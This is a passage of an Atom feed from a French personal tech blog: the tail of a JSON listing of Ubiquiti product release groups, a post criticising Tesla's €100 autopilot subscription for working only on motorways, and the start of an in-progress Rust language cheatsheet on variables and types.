style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"Wave MLO"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"1b4fdbfc-f05f-44b0-8b6f-d07ebad2c7b8"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"WiFiman Android"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"ece2dc4a-1f55-43e3-8b12-c4bf409888b0"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"WiFiman Desktop"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"df144ad8-f36d-4be3-8333-21b3885d8945"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"WiFiman iOS"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"b9f642d3-e4de-49df-b944-c34fdf341899"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"WiFiman Wizard"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">   </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>]]></content>
        <author>
            <name>Bastien Bonora</name>
            <uri>https://bastienbonora.fr</uri>
        </author>
        <category label="informatique" term="informatique"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Abonnement autopilot Tesla, qu'est-ce que c'est que ça ?]]></title>
        <id>https://docs.bastienbonora.fr/blog/abonnementAutopilotTesla</id>
        <link href="https://docs.bastienbonora.fr/blog/abonnementAutopilotTesla"/>
        <updated>2026-03-06T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Avec les récentes déclarations de Tesla, les différentes offres de pilote autonome sont désormais passée en une offre unique sous forme d'abonnement. N'ayant aucun intérêt de débourser 3600€ dans un prix fixe, c'est désormais à 100€ que cet abonnement se présente.]]></summary>
        <content type="html"><![CDATA[<p>Avec les récentes déclarations de Tesla, les différentes offres de pilote autonome sont désormais passée en une offre unique sous forme d'abonnement. N'ayant aucun intérêt de débourser 3600€ dans un prix fixe, c'est désormais à 100€ que cet abonnement se présente.</p>
<p>Etant curieu de voir ce qu'apporte cet abonnement je l'ai donc pris, et quelle fut ma surprise de ne voir absolument aucune amélioration sur le comportement de la voiture au niveau de l'autopilot</p>
<p>Premièrement, aucune mise à jour n'est nécessaire sur la voiture, c'est un plus, on a pas besoin de la connecter au wifi attendre une heure le temps que la fonctionnalité apparaisse.</p>
<p>Mais bon, mis à part ça concrètement, j'ai voulu tester sur un trajet national : aucun changement de comportement. Les rond-points ne sont pas pris, les virages sérés ne sont pas pris non plus, els hésitations dasn les virages sont présentes et surtout aucune amélioration dans la gestion des bouchons (acoup à l'accélération et au freinage).</p>
<p>Donc, à juste titre, je me demande où sont ces fameuses améliorations. C'est en relisant méticuleusement le texte d'avertissement lorsque l'on autorise cette fonctionnalité que l'on comprend le souci. Il est mention une fois "d'autoroute". Alors je teste, je lance un trajet avec des autoroute et la fonctionnalité apparaît... Voilà le couac, il est là, donc toute la conduite autonomme ne fonctionne que sur des portions autoroutières. J'ai testé plein de trajet c'est vraiment ça qui change le fait que la voiture met ou non le paramètre.</p>
<p>j'ai également testé la sortie intelligente ; trois fois, aucune n'a fonctionnée. J'étais sur une voie publique, mais sur un parking, c'est potentiellement ça qui a fait que la voiture refusait.</p>
<p>Enfin bref, c'est tout de même décevant, je pensais que ça allaitr changer le comportement de la voiture sur des routes nationales, mais absolument pas ! Dans ce cas à quoi bon laisser la possibilité à l'utilisateur d'utiliser les fonctionnalitées de maintien dans la voie sur nationale si c'est pour ne pas permettre l'utilisation de la fonction avancée ?</p>
<p>J'attendais beacoup de cet achat, que ça soit sur la gestion des bouchons ou la conduite de manière générale qui serait d'une manière ou d'une autre plus fluide, mais que nani... Aucune amélioration notable (malgré une fonctionnalité de reconnaissance des feux et des stops pour s'arrêter, ça n'a aucun sens) sur nationale. Je ne manquerais pas d'aller m'amuser sur autoroute, car tout semble se passer sur ces portions, mais bon... si c'est pour payer 100€ d'abonnement et 250 de péages pour utiliser une fonctionnalité qui ne fait pas grand chose... il y a de quoi râler.</p>]]></content>
        <author>
            <name>Bastien Bonora</name>
            <uri>https://bastienbonora.fr</uri>
        </author>
        <category label="tesla" term="tesla"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Cheatsheet langage Rust]]></title>
        <id>https://docs.bastienbonora.fr/blog/Rust-cheatsheet</id>
        <link href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet"/>
        <updated>2026-02-05T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Article toujours en cours de rédaction]]></summary>
        <content type="html"><![CDATA[<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>Information</div><div class="admonitionContent_BuS1"><p>Article toujours en cours de rédaction</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pourquoi-rust">Pourquoi Rust<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#pourquoi-rust" class="hash-link" aria-label="Lien direct vers Pourquoi Rust" title="Lien direct vers Pourquoi Rust" translate="no">​</a></h2>
<p>J'ai pu précédemment faire une petite <a class="" href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C">cheatsheet sur le langage C</a>. C'est un langage très permissif mais surtout très minutieux. Chaque action que l'on réalise a un réel impact sur toute la stack processeur qui traite nos demandes. Chaque type de variable doit être utilisé dans l'objectif de manier la mémoire avec une grande précision.</p>
<p>Cependant, cette liberté accordée ajoute une complexité non négligeable au code produit et ajoute une charge mentale supplémentaire. Rust provient de ce constat et vise principalement à faciliter la vie des développeurs avec une vision basée sur une amélioration de la performance et une gestion de la mémoire plus sécurisée.</p>
<p>Comme pour le langage C, j'utilise la plateforme <a href="https://coddy.tech/" target="_blank" rel="noopener noreferrer" class="">Coddy</a> pour apprendre ce langage et écrire cet article.</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>Information</div><div class="admonitionContent_BuS1"><p>Là où le C te laisse faire à peu près tout ce que tu veux (y compris des bêtises), Rust te tient la main au moment de la compilation. Si ton programme compile, il y a de très fortes chances qu'il fonctionne correctement à l'exécution — c'est ce qu'on appelle la sécurité mémoire garantie par le compilateur.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="démarrage">Démarrage<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#d%C3%A9marrage" class="hash-link" aria-label="Lien direct vers Démarrage" title="Lien direct vers Démarrage" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-point-dentrée">Le point d'entrée<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#le-point-dentr%C3%A9e" class="hash-link" aria-label="Lien direct vers Le point d'entrée" title="Lien direct vers Le point d'entrée" translate="no">​</a></h3>
<p>Pour commencer un programme en Rust, il est nécessaire d'utiliser un point d'entrée. Ce dernier est défini par la fonction <code>main</code> :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Fonction point d'entrée en Rust</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// votre code ici</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-commentaires">Les commentaires<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#les-commentaires" class="hash-link" aria-label="Lien direct vers Les commentaires" title="Lien direct vers Les commentaires" translate="no">​</a></h3>
<p>Pour effectuer des commentaires, il est possible d'utiliser deux méthodes différentes :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Commentaire sur une ligne</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// Ceci est un commentaire sur une seule ligne</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Hello, world!"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// Et en voici un autre </span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Commentaire sur plusieurs lignes</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">/*</span><br></div><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">    Ceci est un commentaire sur plusieurs lignes</span><br></div><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">    Il peut s'étendre sur autant de lignes que nécessaire</span><br></div><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">    */</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Hello, world!"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>Documentation</div><div class="admonitionContent_BuS1"><p>Rust dispose aussi de commentaires de documentation avec <code>///</code> (pour documenter ce qui suit) et <code>//!</code> (pour documenter l'élément englobant). Ils sont utilisés par l'outil <code>rustdoc</code> pour générer automatiquement la documentation du projet.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-variables">Les variables<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#les-variables" class="hash-link" aria-label="Lien direct vers Les variables" title="Lien direct vers Les variables" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="déclaration-et-immutabilité">Déclaration et immutabilité<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#d%C3%A9claration-et-immutabilit%C3%A9" class="hash-link" aria-label="Lien direct vers Déclaration et immutabilité" title="Lien direct vers Déclaration et immutabilité" translate="no">​</a></h3>
<p>C'est probablement la première grande différence avec le C : <strong>par défaut, les variables sont immuables en Rust</strong>. Cela signifie qu'une fois une valeur attribuée à une variable, elle ne peut plus être modifiée.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Variable immuable (par défaut)</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> x </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// x = 6; // ❌ Erreur de compilation</span><br></div></code></pre></div></div>
<p>Pour rendre une variable modifiable, il faut explicitement utiliser le mot-clé <code>mut</code> :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Variable mutable</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> x </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">x </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">6</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// ✅ Fonctionne</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>Pourquoi</div><div class="admonitionContent_BuS1"><p>Cette contrainte n'est pas là pour embêter le développeur. Elle permet au compilateur de garantir qu'une donnée ne sera pas modifiée par erreur, ce qui élimine toute une catégorie de bugs (et facilite la programmation concurrente).</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-types-de-données">Les types de données<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#les-types-de-donn%C3%A9es" class="hash-link" aria-label="Lien direct vers Les types de données" title="Lien direct vers Les types de données" translate="no">​</a></h3>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>Information</div><div class="admonitionContent_BuS1"><p>Malgré ce qui est marqué en dessous, le compilateur RUST peut automatiquement déduire le type de la variable en fonction de ce qu'on lui donne comme valeur.
Cela permet de rendre le code plus simple à lire, mais il faut bien garder à l'esprit le type de chaque variable.</p></div></div>
<p>Rust est un langage à typage statique : chaque variable a un type connu à la compilation. Le compilateur peut souvent l'inférer, mais on peut aussi le spécifier explicitement.</p>
<table><thead><tr><th>Type</th><th>Signification</th><th>Taille (en octet)</th><th>Plage de valeur</th></tr></thead><tbody><tr><td><code>i8</code></td><td>Entier signé 8 bits</td><td>1</td><td>-128 à 127</td></tr><tr><td><code>u8</code></td><td>Entier non signé 8 bits</td><td>1</td><td>0 à 255</td></tr><tr><td><code>i16</code></td><td>Entier signé 16 bits</td><td>2</td><td>-32 768 à 32 767</td></tr><tr><td><code>u16</code></td><td>Entier non signé 16 bits</td><td>2</td><td>0 à 65 535</td></tr><tr><td><code>i32</code></td><td>Entier signé 32 bits (défaut)</td><td>4</td><td>-2 147 483 648 à 2 147 483 647</td></tr><tr><td><code>u32</code></td><td>Entier non signé 32 bits</td><td>4</td><td>0 à 4 294 967 295</td></tr><tr><td><code>i64</code></td><td>Entier signé 64 bits</td><td>8</td><td>≈ ±9.2 × 10¹⁸</td></tr><tr><td><code>u64</code></td><td>Entier non signé 64 bits</td><td>8</td><td>0 à ≈ 1.8 × 10¹⁹</td></tr><tr><td><code>isize</code></td><td>Entier signé taille pointeur</td><td>4 ou 8</td><td>Dépend de l'architecture</td></tr><tr><td><code>usize</code></td><td>Entier non signé taille pointeur</td><td>4 ou 8</td><td>Dépend de l'architecture</td></tr><tr><td><code>f32</code></td><td>Flottant simple précision</td><td>4</td><td>≈ ±3.4 × 10³⁸</td></tr><tr><td><code>f64</code></td><td>Flottant double précision (défaut)</td><td>8</td><td>≈ ±1.8 × 10³⁰⁸</td></tr><tr><td><code>bool</code></td><td>Booléen</td><td>1</td><td><code>true</code> ou <code>false</code></td></tr><tr><td><code>char</code></td><td>Caractère Unicode (sur 4 octets !)</td><td>4</td><td>Tout point de code Unicode. Déclaré avec <code>''</code></td></tr><tr><td><code>&amp;str</code></td><td>Tranche de chaîne (référence)</td><td>—</td><td>Chaîne immuable</td></tr><tr><td><code>String</code></td><td>Chaîne de caractères allouée</td><td>—</td><td>Chaîne modifiable. Déclaré avec <code>""</code></td></tr></tbody></table>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Déclaration de variables typées</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> entier</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">42</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> flottant</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">f64</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3.14</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> booleen</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">bool</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">true</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> caractere</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token char">'A'</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> texte</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;</span><span class="token keyword" style="color:#00009f">str</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"Hello"</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>char en Rust</div><div class="admonitionContent_BuS1"><p>Contrairement au C où <code>char</code> fait 1 octet et représente un caractère ASCII, le <code>char</code> de Rust fait 4 octets et peut représenter n'importe quel caractère Unicode (lettres accentuées, émojis, idéogrammes…).</p></div></div>
